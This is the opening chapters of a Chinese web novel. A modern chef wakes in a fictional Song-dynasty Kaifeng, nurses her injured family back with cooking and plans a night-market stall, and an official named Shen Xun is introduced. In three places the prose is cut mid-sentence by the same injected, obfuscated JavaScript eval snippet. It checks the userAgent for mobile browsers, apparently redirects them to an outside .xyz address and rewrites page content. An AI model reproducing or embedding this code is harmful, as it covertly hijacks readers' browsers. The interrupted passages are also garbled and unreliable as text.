《汴京食滋味》 1. 穿越大宋 “吉时已到，请新娘落轿——” 鼓乐齐天，鞭炮声不绝于耳。在横桥子东巷一众街邻的欢呼声中，头顶红盖头的新娘子缓缓下轿。 早前下过一阵雷雨，黄昏时分，红霞和带着红皮的炮仗一道，跌得满地都是。手捧粮食斗的阴阳先生唱起祝咒，将斗里的东西，纷纷扬扬往大门处撒去。 在旁等候多时的孩子们一拥而上，争着抢着，将地上的谷豆、果子、铜板和草结往自个儿怀里收。 为的就是讨个“除邪得吉，保佑平安”的好彩头。 江暖和江晓都在捡谷豆的行列中。 两对肉嘟嘟的腮帮子在泥地上翻滚，费了老大劲，才捡来两枚铜板，紧紧攥在手里，扑棱棱跑回挂着“江家豆腐”招子的家里去。 一墙之隔，外头锣鼓喧天，到处喜气洋洋。屋子里却没有半点天光，还处处泛着一股浓重的豆腥气。 江知味不禁皱了皱鼻头。才方转醒，脑海中还混沌着。她睁不开眼，却隔着眼皮，看见一丝光亮如昙花一现般一闪而过。 随之而来的，是木门打开的吱呀声，还有两个童子奶声奶气的说话声。 “杨三说了，进屋前先吹口气。呼——” “暖姐儿，我害怕。万一这法子对二姐姐也没用怎么办。” “怕什么，有杨三呢。他既算到了水鬼索魂，又跟我们说了捡谷豆冲喜这法子，肯定还有别的路子。” 另一个童子呜咽了两声，不搭话了。 脚步声渐近，江知味额前忽地一凉。 像是落了什么裹着泥巴的硬物，黏黏腻腻，还带着一股火药味，呛得她整个人一激灵，忍不住睁开眼，捂着胸口咳了起来。 身边两个梳着满头髻的童子相视一眼，默了一瞬，之后“嗷呜”大叫着飞扑上来。 “二姐姐！成了！杨三没骗我！” “呜呜二姐姐——” 俩娃娃哭得一把鼻涕一把眼泪，拿袖子在脸上胡乱地抹，语无伦次地说了许多她听不明晰的话。 江知味认出来了。这俩童子是江家的老幺，龙凤胎，年五岁。 姐姐江暖人小鬼大，胆子也大，平日里上山下河总爱乱跑，点子也多，最是古灵精怪。 另一个叫江晓，长得虎头虎脑像个小肉包，嘴馋，好吃，喜欢跟在她姐姐后头当跟屁虫。 而他们口中说的“水鬼索魂”，大约就是先前发生的那桩事了。 江知味穿来其实已经有一段时间了。 还记得当初，她刚在后世参加完厨神争霸赛，到手的奖杯还没捂热，就遭了车祸，一睁眼，就穿到了北宋——一个历史上经济文化极其繁荣，却窝窝囊囊总爱往外头当散财童子的神奇朝代。 不过她身处的这个北宋，似乎与历史上人人熟知的宋朝有些不同。因为彼时的大宋正值嘉元六年，这是一个在后世流传的宋史中从未出现过的年号。 原身名叫江知，年十八，与她的本名有一字之差，模样倒是生得大差不差。 都是小头，圆脸，肉鼓鼓的。而且皮肤很白，一双眼睛水灵灵像杏桃似的，身上也有肉，跑起来像欢脱的小兔，一弹一弹的。 那会子原身家里刚遭大火，一家子烧得没剩一个活口，饶是原身这个老早被养父母托举出火场的，也因吸入了过多浓烟，不幸一命呜呼。 之后便是江知味鸠占鹊巢，代替原身活了下来，被生父江大从应天府接回了汴京，过了两个月无忧无虑的日子。 第二次意外，发生在来到汴京的两个月后。 三月初一，金明池开。这座宋时的皇家园林，每年那个时候都会对寻常百姓开放。 就在一家子欢笑游园的途中，江知味莫名遭人推搡落了水。犹还记得当时身侧扑通通一阵下饺子似的响，她眼前一黑又一黑，意识很快被虚空剥夺。 再醒来，就在这间屋子里了。 身侧的号啕哭声，将她的神思彻底拉回来。从外头打水回来的母亲凌花，也听见了屋里的动静，丢了手里的扁担就往屋里跑。 大的小的叠罗汉似的倒在她身上，压得她一度喘不过气来。 好在双手已经能动弹了，江知味憋着胸腔里的一口气，拍拍这个，摸摸那个：“别哭了，娘，暖姐儿、晓哥儿，我这不是好着么。” 凌花仰起脸，语气里满是嗔怪：“这都五个月过去了，你才醒，还说好着。” 五个月？！ 于江知味而言，只是睡了极昏沉的一觉，没想到竟过去了这么久。她顿时躺不住了。 试图起身，被凌花连忙扶住，在她的身后垫了枕头，助她躺得更高些：“这才刚醒，非要爬起来作甚。可是饿了，娘去给你做饭。” “不饿，娘不用忙。我就是躺久了手脚麻，想舒展舒展。” 江知味左右扭了下身子，又试着动了动每一根手指脚趾。看来有惊无险，身体觉知都利索，并没有留下什么后遗症。 只是躺久了身上略有些乏力，也算是不幸中的万幸了。 左右看看，江家的几口人来了大半，却不见江大的踪影，霎时纳闷：“娘，怎么没看到我爹啊？” 凌花眉头紧蹙，再一次低头掩面。身边两个龙凤胎，也跟着哭得更惨了。 “你爹还躺着呢。比你好些，能囫囵吃些汤水，能眨眼，就是不能动，也不会说话……” 江知味心下一跳：“难不成那日我爹也？” “倒不全是。你不知道，那日金明池闹得乱七八糟，水里、岸上，到处都是溺水和跌倒的人。当时你掉下去，你爹为了救你，立马就跟着下去了。” “好不容易把你拽上来，又见着水里还有一个小娃娃在扑腾。折腾久了，人是救上来了，他自个儿也呛多了水，就不大好了。” 江知味没搭话，只垂了眉：“若非我不慎落水，也不至于连累到我爹了。” 凌花擦了把泪，暖暖握住她的手：“知姐儿，你爹救你，那是他心甘情愿。这些年他最后悔的事，就是打小把你过继给了你叔父家。幸好他们待你不错，幸好你在那场大火中活了下来。再说就算当时你没有落水，以你爹的性子，也会不管不顾跳下去救那个孩子。事已至此，咱们一家人咬咬牙，一起好好活着便是。” 江知味眼中含泪，郑重地点了点头。 抬眼看去，稀薄的天光陷落屋中，反射到了凌花瘦削的面颊上。她总觉得凌花与先前相比，瞧着有些不一样了。 可惜天光太弱，实在瞧不真切，她找了个由头：“娘，这屋子太暗了。” 凌花缓缓起身，走到门边，点上油灯：“此前下雨，你那屋子漏得厉害，我就叫风哥儿帮忙，给你背到柴房来了。没窗子是不合适，过两日娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128015|180144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找个泥瓦匠来修修屋顶，咱再搬回亮堂的屋子去。” 江暖嘟起嘴，很是委屈地搭了句：“娘，除了堂屋，家里哪处没漏水。你攒的那些钱，都紧着爹爹姐姐吃药了。” “暖姐儿懂事了啊。只修一个屋子，花不了多少钱的。”凌花温温一笑，将油灯放在床头，顺势将江暖抱住，“知姐儿能醒，是不是还有我们暖姐儿的功劳呢。” 江暖这才高兴了，双手缠住凌花的肩头，咯咯咯地笑个不停。 面对眼前母慈女孝的温馨场面，江知味却一点都笑不出来。 油灯昏黄的光亮下，凌花的憔悴无处遁形，看得人一阵阵眼酸。 从前江大还康健时，家中的豆腐铺子一力由他操持，每日能有七八百钱的营收。于平民之家而言，已经相当可观了。 那会子的凌花得夫君宠爱，无甚养家的压力。且格外爱美，终日里面若桃花，在邻居那儿得了个“花儿婶”的称谓。 她平日里最喜欢穿颜色亮丽的衣裳，戴的首饰虽不算贵重，却也是当下的汴京城里最时兴的。 可如今，她身上的漂亮衣裳没了，换成了打了不少补丁的粗布麻衣。往常爱美戴的那些钗子、坠子，此刻也都不见了踪影。 不仅打扮上变了，人也瘦了、黑了不少。原本的茂密乌发爬上了青丝丛丛，眼眶凹陷，眼圈层层泛青，整个人看着苍老了不是一星半点。 江知味望着凌花的目光有些出神：“娘，您这是怎么了？” 凌花不好意思地摸摸发髻：“你说头发是吧。不过是几根白发，岁数大了总会长的，算不得什么。” 哪止头发啊。江知味到底没说出口，只觉得心口阵阵晦涩。 家里的顶梁柱倒了，她这个能帮衬些的也一病不起，剩下个十二岁的江风，不过半大小子，还得去学塾读书呢。还有两个五岁的娃娃，都不能成什么事。 想来维持生计的担子都落在了凌花身上。又要经营铺子，又要照看病人孩子，本来身子就单薄，哪经得起这样磋磨。 江知味难受极了，反抓了一把凌花的手：“娘，如今我醒了，我来帮你。这样你就不会太累了。” 凌花暖暖笑回来：“不过你这才刚醒，身子虚，还得好好养几日。我去给你做饭，家里米粮虽不多，填饱肚子总是有的。” 见江知味点头，她起身往外走。 江家祖屋是凌花母亲留下的遗产。 沿街那头有一间两进的铺面，后头是一家子的起居空间。中间隔一座露天小院，打了一口水井，放了水缸、石磨和晾衣竿、笤帚、簸箕等日常用物。 方才凌花丢了扁担和水桶的地方，此刻正站着一名身着青色官袍的年轻人。 只见他一手摇一本折卷，另一只手拎着一袋红布包，伸长脖子，对着敞开的侧门轻声道：“大人，您真的不进来吗？您作为上官亲自来送慰问金，就该给人多瞧瞧，多大的美事啊。” 话音又一拐：“也是，您不牵扯也对。要说送钱这事儿本该他们开封府一应包办，若非他们推诿扯皮死不认账，也落不到咱们头上。” “真是恼人，要不是被雷雨耽搁，咱这公事也不用拖到这时辰。” 凌花听得怔怔的，始终没等到外头那位上官的回话，只隐约见着门边飘起的绯色衣摆，亮眼得与他们这间灰扑扑的民宅十分不相称。 2. 咸蛋黄粥 天很快擦黑。 凌花捧着红布包，讷讷站在灶台边。 刘评事已经走了。起先他回头看见了站在门边的凌花，先是用折卷抽了自己一小嘴巴子，而后满脸堆笑地走近，将那红布包塞给她。 凌花接过来，里头装的是五贯钱，用麻绳串着，拿在手里沉得要命。 她好言谢过，又抬眼看门外那若隐若现的衣摆，还有偶被衣摆带起的鱼符，一看就很金贵。 那刘评事嘟嘟囔囔说了许多，叫她知道这是金明池落水一案的偿金。像她们这般家里遭难，却没闹出人命的，得五贯钱。另外还有被淹死、撞死、踩死的，得十贯钱。 只十贯钱，竟被他说得比人命还重。 凌花兀自摇摇头，没送客，一头扎进了灶房里。等肚子里憋闷的心绪慢慢克化了，才着手做起一家子今日的晡食。 说是做饭，但家里食材不多，留给她的发挥空间甚小。更何况从前都是江大做饭，她的厨艺还停留在十余年前。 能把吃食做熟，就已经很不错了。 在满院子的乌烟瘴气中，江知味缓步来到饭桌旁。看着凌花花了半个多时辰做的饭，天都塌了。 黍米水饭是焦糊的，水面上漂着黑褐色的不明物质，看样子像是锅灰。好好一个贡菜干，炒得又黄又绵，软趴趴像是被抽走了灵魂。 至于那盘煎鱼，煎得都有些炭化了。要不是鱼头还在，简直难以辨识出它的本体。 江知味一时踌躇不敢落座。 两小只倒是习以为常，各自拿了碗筷，爬到凳子上乖乖跪好。别看这俩人不大，竟都已经能熟练地使筷子吃饭了。 江暖一脸习以为常地拨开煎鱼焦黑的部分，将里头尚还完好的鱼肉挑出来：“晓哥儿吃。” 晓哥儿双眼一眯，立马拿碗凑上去。 又很大方地挑了一块给江知味：“二姐姐也吃。” 江知味内心咆哮。二姐姐不敢吃啊哎哟喂…… 她原本以为，凌花还有点做饭的本事在身上，没想到是这俩孩子不挑食。靠着这样的菜色，也能养得浑身起肉褶，叫她对凌花的厨艺产生了误判。 正当骑虎难下之时，凌花一眼看出她的为难：“知姐儿要是没胃口，就算了。都这个点了，外头的夜市也快上了。等会儿娘去桥上给你买些热乎的。” 江知味不忍打击她的自信心，更何况家里什么条件她知道。能吃上鱼就已经很不错了，小孩子都不计较，她没理由嫌七嫌八。 便笑着接过江暖送来的鱼肉，硬着头皮尝了口：“鱼肉倒是挺原汁原味的，和在水里游的没甚大差。” 眼看凌花咧嘴要笑，江知味不给她接话的缝隙，又道：“娘，我这身子已经大好，是时候多活动活动筋骨了。要不然日后家里的三餐都由我来做，也好让娘亲歇歇不是。” 凌花双眼圆圆：“我怎么不晓得，你还会做饭？” 江知味此前并没有暴露过自己的做饭技能。 一来，她刚穿来人生地不熟，连宋朝有什么吃食没什么吃食都不清楚，怕自己说多错多要暴露。二来，江大的手艺的确不错，家里少她一个劳动力，并没有造成任何不良影响。 她便藏拙、躺平，想要舒舒坦坦地过完捡来的这辈子，没承想出了后头的事儿。 “我可会做饭了，做得特别好吃。”江知味没谦虚，反正一出手就要暴露水平，不如直接交底，顺带找补，“娘，从前叔父忙着做工，婶婶身体又不好，我就跟邻居婶子多学了些。” 凌花听着，眼眶便开始红了：“既然知姐儿有心，娘也不拦你。就是得再过几日，等你彻底恢复了，再做这些劳累的事。” 江知味答应下来。 几人没再闲聊，匆忙结束了这顿晡食。 之后的几日里，街坊邻居知道江家的二女儿醒了，都说大难不死必有后福，纷纷拎了东西来看。 再有那五贯钱的助力，江知味每日被红枣汤、桂圆水地养着，总算补回了一点力气。当然她自己也努力复健，每日早起做两遍八段锦，很快拿回了这具身体的掌控权。 这期间，凌花请了泥瓦匠来，将家里破漏的屋顶都堵上。江知味得以搬出又小又暗的柴房，回到了自己那间亮堂又干净的小卧房。 原本黑气森森的家里，总算添了些热闹的烟火气。 七日过后，江知味神清气爽地醒来，麻溜地洗漱完毕，打算做个朝食。 八月的清晨，太阳像破壳的咸蛋黄，带着些微热意缓缓升至天穹。灶房里，同样有咸鸭蛋被剥开落入碗中，和香油拌在了一块儿，还没下锅就阵阵飘香。 锅里事先放的水米已煮成软烂的稠粥，此刻表面浮着厚厚一层米油，咕嘟嘟冒着小小的气泡。 江知味把碾碎的咸鸭蛋倒进去，时不时用勺子搅拌一番，等咸蛋黄里的油脂与米粥充分融合后，又放入切好的青菜碎和香葱碎，烫了个断生。 闻见香味的江暖举着鼻子跑来。五岁的娃娃，还没灶台高，只能踮着小脚，努着嘴巴望“二姐姐，真香！” 跟屁虫江晓也跟来。看来凌花还没来得及给他打理，眼见他一头乌发乱草似的，衣裳更是穿得歪七扭八，连眼睛都没睁开，光知道舔嘴唇了：“好香啊。” 江知味给他俩一人添了碗咸蛋黄粥，放在凳子上，嘱咐“小心烫”后，又做起葱油饼来。 面团早前已经揉好醒发好，油酥也提前备着了。在两小只的殷切目光中，她将面剂子擀成薄薄一片，刷上油酥、撒上葱花，之后卷边再抻长，卷成麻花似的一个。 家里只有土灶大铁锅，不过一点不妨碍江知味烙饼。 锅底已经烧得滚热。江知味一手将卷好的面团按在锅中，一手抱着湿帕巾左右转动着铁锅。如此锅里的面饼得以均匀受热，即便没有平底锅也无妨了。 很快，浓郁的葱香味就从锅里爆开来。 各种香味里，江知味私以为葱香味最为霸道。从前她在家里熬葱油，用的野地里挖出来的红葱头，那葱香味隔了两条街还能叫人闻见，特别勾人馋虫。 随着葱香味愈来愈浓，葱油饼上渐渐起了焦褐色的云纹。再煎到两面金黄，便是出锅的时候了。 这时候的饼子最是焦脆好吃，但凡拖久了多了些潮气，都吃不出刚出锅时候的最佳风味。 江知味扫过一个眼风，江暖便心领神会地跑到院子里：“娘，二姐姐喊吃饭了。” 凌花抹抹手进屋，帮着给粥啊饼啊都端到屋外。她今日没磨豆子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128016|180144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而是一早就把桌子搬出来了，势必要在天光最好的地方，品尝她家知姐儿做的第一顿美食。 看着洗得崭亮一新的桌椅，还有桌上放的陶瓶，以及陶瓶里插着的，还带晨露的浅紫色野花，江知味不由得会心一笑。 还挺有仪式感的。 都落座后，凌花迫不及待地啃了一口葱油饼。 葱香四溢。酥脆的饼皮下雪似的掉了一桌子，她没防住，急忙用手去接。再往里咬，带出了丝丝缕缕的饼纤维。只觉得薄薄一张饼，一层接一层地好似怎么都吃不到底。 等到反应过来时，已经在吮手指了。她竟然情不自禁的，连手上落下的葱末和葱油都舍不得放过。 两小只从没见过他们娘亲露出这样餍足的神情，都半张着嘴看得呆怔了，连碗里的粥都忘记了吃。 江知味眼疾手快，给他们一人喂了一勺子。 这一口下去，俩孩子瞬间回了魂，将目光收回到自己的碗中，毫不犹豫地埋头下去，稀里呼噜地吃起粥来。 凌花也来不及说话，咽下最后一口葱油饼，转而抓起勺子，冲着咸蛋黄粥开弓。 粥水煮得十分浓稠，每一粒大米都煮得绽开了花，却又不至于煮到烂糊影响口感。 里头的咸蛋黄不带半点腥味，完美地包裹着每一颗米粒，让米粥的口感更加丰富，层层反沙。细细吃来，还能品出一股若有若无的香油味。 配上里头的菜沫子和小葱，更是清爽解腻。 她家知姐儿做的吃食，无论是从品相上还是口味上，都无可挑剔。 此刻凌花觉得，她就是这世上最幸福的人了。只是吃着吃着，就忍不住落下泪来。 知姐儿三岁去了叔父家，那会儿还是个只会大叉着腿叫饿的小娃娃呢，也没有半点庖厨方面的天分。要习得如今这般厨艺，定是吃了不少苦头。 凌花越想越觉得对不起她家知姐儿，就差举着葱油饼抹眼泪了。 江知味一时有些无措。她娘的反应也太夸张了，这是……好吃哭了？ 本能地想给凌花抽张纸，一下反应过来这是在古代。摸摸身上，也没有帕巾什么的，干脆把袖子递上去：“娘，擦擦吧。” 两小只有样学样，也跟着把胳膊递给凌花。凌花这一抬头，见到江知味双目炯炯，似是一点没把当初的事情放在心上，一下子哭得更大声了：“我苦命的儿啊。” 江知味哭笑不得，连哄带劝的，都止不住她的眼泪。 最后还得把自家老爹搬出来：“娘，咱还得去给爹喂饭吧，都饿一宿了。爹要是会说话，这会儿应该给咱香得嗷嗷叫了。” 凌花这才一拍大腿：“对啊，你爹还饿着呢。” 她三两下抹干净眼泪，起身端碗走了。留俩双胞胎继续在饭桌前狼吞虎咽，吃得满脸满身都是碎饼渣子。 还不忘夸赞：“二姐姐做的饼，比横桥子上陈家饼摊的饼子还好吃。” 江知味忽地来了主意。 对啊，这里是大宋啊，并不是那种封建裹脚不允许女子抛头露面的朝代。她有一身做饭的本领，又身在市井，怎么不能充分利用起来。 家都这样了，再想躺平坐吃山空指定不成。大不了收拾收拾，这辈子再当一回厨子呗。 3. 白菘炝锅汤饼 江知味是个急性子，既定下了，便着手动起来。 先盘算了一番摆摊需要的一干物什。流动摊贩嘛，少不了准备车子、炉灶、锅具，以及碗盘筷子、油盐罐子一类，还有一柄标配的大伞，自家小摊的摊名招子等。 这些都是从其他小摊贩那儿学来的。 当时初至汴京，江大带她逛了好几日的桥头夜市。像清明上河图里的虹桥集市，还有古籍中赫赫有名的州桥夜市，还有潘楼街上的土市子，她都挨个瞧过了。 总结下来就是，人多，热闹，尤其是吃食摊子，但凡有点名气的，旁边围着的食客都不少。 宋朝经济繁荣。宋人但凡条件好点的，各个儿都是老饕。在“吃”这一字上讲究颇多，不仅要吃饱，更要吃好。 这恰恰与她的专业对口。 要知道，江知味身负母系传承的厨艺天分，在普通孩子还把不住尿的年纪，就是个小有名气的厨师了。 她的外婆是个说一不二的大厨神，80年代那会儿就在全国范围内开了数十家餐饮连锁店。家里有整两间屋子，专门用来收纳厨艺比赛存下来的奖杯和证书。 用她老人家的话来说，都是她这些年打下的半壁江山。 而江知味的母亲，很不幸，是个厨房杀手。当外婆痛心疾首，觉得自己一身本领要随水东流时，她这个犹如开了厨神外挂的娃娃出生了。 加上隔代亲，江知味三岁那年，便成了外婆手下“知味楼”的唯一继承人，由外婆亲自培养，一直到她车祸前，在全球名厨汇集的厨神争霸赛中亮相。 想到这儿，江知味不禁有些伤感。这么些日子过去了，外婆白发人送黑发人，也不知道有没有从悲痛中走出来一些。 还有她爸妈。虽然她上辈子还活着的时候，爸妈成日里如胶似漆，常常显得她这个女儿有些多余。 但每回在外婆这头受了累，爸爸总会像儿时那般，带她去老家的河沟里钓小龙虾。 妈妈就负责把厨房炸了，做一些自家狗子都不乐意吃的黑暗料理，还非得哄她这个先天味觉灵敏到不行的女儿含泪吃下。 弹指一挥间，过去那些鲜明的回忆，竟都成了蜃楼幻梦。 江知味不敢再想下去。 这时凌花喂完了江大，从房里出来：“我把葱油饼放蛋黄粥里，泡软了喂给你爹吃。你猜怎么着，平日里你爹总是食不下咽，我还担心他是不是躺多了，连五脏庙的克化也出了问题。没想到今日竟吃得狼吞虎咽，原来是嫌我平日里做得不好吃啊。” 她这般扼腕叹息，惹得江知味扑哧笑出声，顺着聊了几句，正好把要去摆摊卖吃食的事儿说了。 凌花不置可否，只道：“家里有一辆平头车，平日里运豆子用的。不过自打你爹病后，家里豆子磨得少，用扁担挑挑也足够。你且拿去改改，还能省些开销。” 又往灶房一指：“家里的银钱都藏在灶台后头，这阵子吃喝、买药、修屋顶用去了一些，还有四贯来钱。要是不够，娘再去找街坊邻居借点。” 家里既有现成的小车，只买些零碎的，应该不至于差钱。 江知味道：“娘，这些够了，够了。你且等等，等摊子开起来，很快就能回本了。” 凌花笑着抚上她的后脑：“知姐儿高了，娘都快摸不着头了。娘还是那句，你要做什么，尽管做就是。就算摊子摆得不好也没事，咱家还有豆腐铺子呢。只要铺子还在，咱一家子就饿不死。” 江知味刚从伤感的情绪里爬出来，听她这话，眼角差点儿又湿了。稳了稳心绪，她与凌花商量过后，决定从夜市摆摊做起。 选址就定在离家不远的横桥子夜市。因毗邻保康门瓦子，那一带夜里来往听评书的客人繁多。 再过去些跨过护城壕，还有大片旅店。从南方过来的商贾和兵丁，基本都在周边住宿，人流量很有保障。 再就是经营许可的问题了。 宋时对占道经营管理不算太严。那种专门划出来的夜市，街道司会以表木为界，划定小摊安置的具体位置。 像他们这种摆摊卖吃食的小贩，与沿街盘卖的货郎一样，享受民生利好政策，既不需要登记，也不需要纳税。 只要老实本分些，在表木划定的界限里摆摊子，就不会碰上被宋时的城管，也就是街道司士兵杖责的事情。 这些琐碎，都是江知味从桥头摆摊的神棍杨三那儿问来的。这人算命不准，消息倒是灵通。 既了解得差不多，江知味没耽搁，立马带着弟弟江风去街上采买。 江风平日里都在民办的学塾念书，吃住都在那儿。 今日一早说是学塾教算学的学究身体抱恙，破天荒地得了一日休沐，赶紧收拾了回家，就为了和二姐姐见见。 这不，正好和江知味在桥头碰上。 江风正在抽条的年纪，已经长得比她高一个头了。今日穿一身洗得有些发黄的素白圆领袍，笑起来眉眼弯弯，露出两颗尖尖的虎牙，瞧着还有些稚气未脱。 开口便是：“二姐姐，我好想你啊。” 江知味与这个三弟实际没见过几面，却架不住骨子里流着同样的血，没来由地觉得和他亲近。 家里的驴子前阵子被凌花卖了换钱，他们便租了辆敞篷驴车，一路上笑着聊了许多，从学塾里的见闻，聊到他们今日要去的各家铺子。 江风一一同她介绍：“下土桥那边有家陶器铺子，家里用的陶碗和水缸都是从那处买的，用了许多年，还是很结实。” “要买粮食，就过汴河，往广济仓去。” “猪肉、羊肉，还有瓜果菜蔬，就得往反方向去了。因为果子行都在朱雀门外，还有州桥西那一带，不少肉贩也选择在那边上卸摊子，可以一齐买了。” 江风说得滔滔不绝。江知味则边听边记，了解了这些日常所需的大致方位。 先去定了两个炉子并数十个陶碗和四个陶罐，又挑了两口大肚水缸，叫那店家复量了一遍尺寸，确保能安置在家中那辆平头车上。 再去木材店，买了现成的大纸伞、装调料用的木匣子套盒，还专程定了一个用以固定炉子和水缸，又能放食材和杂物的木架子。 再是竹篮、筷子、铲子、油、煤炭，以及一点儿自家吃的猪肉和菜蔬。 最后带着大包小包，去了趟铁匠铺。一直与那李铁匠动了半个时辰的嘴皮，将姓名、住址、摊位计划所在、自家亲眷关系通通写了下来，并签署了一份免责协议，才定下来一块用以做饭的铁板。 还没现成的，得三日后来取。 到这会儿，带出来的四贯钱已经所剩无几。剩下的一点零头，江知味揣在怀里，感觉空落落的。 果然，幸福总是沉重的，金钱才是安全感的来源呐。 等一切杂项都忙完，到家已是昏时。 江知味不在，两小只的午食吃的又是锅巴水饭。凌花搅了个蛋花进去，依旧不能改变这锅乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128017|180144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七八糟的东西相当难吃的事实。 看见江知味回来，俩孩子跟看见了救星似的飞扑上去：“二姐姐，饿了。” 江知味和江风的午食吃得也不如意。 他俩花四文钱，各啃了个街边卖的胡饼。上头的芝麻烤得都有些焦糊了，在口中嚼着阵阵发苦。 要在后世，江知味会选择放弃这个饼子，转送给家里那只什么都乐意接纳的大黄狗子。可这会儿日子过得紧巴巴的，就算难吃，也只能硬着头皮往肚子里咽。 胡饼没甚油水，吃着不顶饱。江知味这会儿也饥肠辘辘，将买回来的东西搁在一边，单独拎了猪肉、白菘和大葱来。 切下来的肥肉部分，先放锅里煸出肥油。等肥肉煸成指甲盖大小的油渣样，放入切好的葱花炝出香味。之后下入切好的肉丝，直炒到断红断生，变成淡淡的藕色。 这时切好的白菘棒子紧跟着下锅翻炒。待淋入酱油与清水，添盐、少量酱与糖提鲜后，便只需静候水沸。 今日晡食吃的是白菘肉丝炝锅汤饼，也就是后世常吃的白菜肉丝炝锅面。 江知味特地没把面条拉得太细，这样吃起来口感更好，放锅里多煮一会儿也不至于失去嚼劲。 待把余下的白菘叶子放进锅里，锅铲一搅和，再来一把葱花，就宣告着大功告成。 江风分好碗筷，将汤饼端上桌。 每人面前一海碗的白菘肉丝汤饼，正呼啦啦冒着热气。 平民家里吃饭没什么讲究，谁饿谁先吃，不必管他尊卑老少。因此俩双胞胎抓着筷子，就埋头下去，呼噜噜吸溜起汤饼来。 白菘炝锅汤饼的灵魂，就是最初下锅那一块肥猪肉。泡软的油渣少了酥脆的口感，却多了几分韧劲。 用后槽牙细细地磨，满嘴都是猪油浑厚的香味。 肉丝切得细长，吃起来嫩滑不带半点阻力。面条也是筋道得刚刚好，挑起白菘一起吃，一口生脆，一口绵密。 汤水喝起来糊糊的又带葱花香气，咸鲜中伴着白菜的清甜，一碗下肚，能发出一身大汗。再拿蒲扇闪闪，一整日的疲累，便都随之烟消云散了。 江风满足地闭上眼，舔嘴角的同时，倏地又把双眼睁开了：“想不到二姐姐做饭这般好吃！娘，以后我不想在学塾吃饭了，我要回家吃。” “学塾离家有半个汴京城了，我都不晓得你今日几时启程，这么早就到了家。每日往返何其辛苦，哪还有心思读书，净说这种糊涂话。” 江风吃瘪，默默低头，把余下的面汤喝了。 江知味却笑：“风哥儿胃口好是好事。今日来不及了，下回你休沐回来，二姐姐给你做点儿零嘴，让你带去学塾，分同窗们吃。” “真的？！”江风喜出望外，“那敢情好啊。二姐姐，你如此能耐，一整日却神神秘秘的，也不告诉我们究竟要卖何种吃食。我想了一整日，馋虫就在五脏庙里翻腾了一整日，越想越好奇。” 江暖也道：“是啊二姐姐，晓哥儿今天一直流口水，走哪儿都想着二姐姐要卖的吃食。你就说说呗，要不晓哥儿要被馋哭了。” 江知味勾勾手指，示意他们凑过来：“我要做的吃食啊，咱家里天天能得见。暖姐儿且想想，咱们这个家里，什么是最多的？” 咬着嘴唇，江暖摇头晃脑。看看墙边靠着的麻袋，看看院子里的石磨：“最多的？” 又见她娘亲笑得眼珠子都瞧不见了，猛地想到：“豆腐，是豆腐！” 4. 家常豆腐 当江知味一家子沉浸在讨论美食的喜悦中时，沈寻却一个人恹恹的，举着鱼竿往蔡河边上走。 蔡河本名惠民河，因接通蔡地，才有了这个俗称。 它从城中流出，分为两个支流。由北向南，横穿高桥、横桥子，再经云骑桥、宣泰桥和观桥，之后一路缓行，向着外城墙边的蔡河水门去。 此时的沈寻，在云骑桥下找了块空地打盘坐下，随后捻了块午食吃剩的糯米团子做饵，随手抛竿出去。 公事不忙的时候，沈寻都会到蔡河边上钓鱼。 此处远离琐事纷扰，有的只是寻常百姓家的烟火气，光闻闻嗅嗅，都让他觉得身心舒畅。 可惜今日天色已晚，这鱼恐怕，也钓不着了。 方才他与大理寺评事刘廉斡旋许久。这厮不知犯了什么抽，非说自己前日在那苦主家中说了许多违心话，这几日心里越想越难受。 于是邀他到樊楼小酌，以纾解内心的苦闷。 樊楼那地方，菜色花哨，于他而言又无甚味道。 况且他不喜饮酒。酒水辛辣，喝在口中连舌头都要灼没了半根。若非实在苦闷，何必如此自我折磨。 因此他百般拒绝，找了千百种理由终于脱身。但从大理寺出来时，还是已近天黑。 这会儿周围已经掌上了灯。但蔡河水面却黑漆漆的，全然看不清上面浮起的浮漂。 沈寻伸了个懒腰，又打了个极为深长的哈欠。 罢了，没鱼就没鱼吧。吹吹河边带着丁点腥气的风，早点回小苑歇息也挺好。 沈寻收拾起渔具，打算打道回府。 余光瞥见了桥上飞跳着的两个发包。偏头看去，有一双手五指张开高高举起，交叉着在那发包的顶上来回摆动。 “大人——” “大人啊——” “郎君捎人来口信了，大人——” 沈寻收回视线，依旧不紧不慢地收拾东西：“下来说。” 连池高声应“好”，三步并作两步来到岸边，跑得气都喘了，好半天憋不出句整话：“大人，郎君……郎君要你……” “要我什么？”沈寻顺手把打包好的渔具递给他，在河边涮了手，“该不会又要我回去用晡食吧？” “说是老夫人的意思。大人总是住在小苑不回家，老夫人说想你了，想同你一道吃顿饭。” 沈寻甩干手上的水，面无表情地望着桥上的灯火：“知道了。” 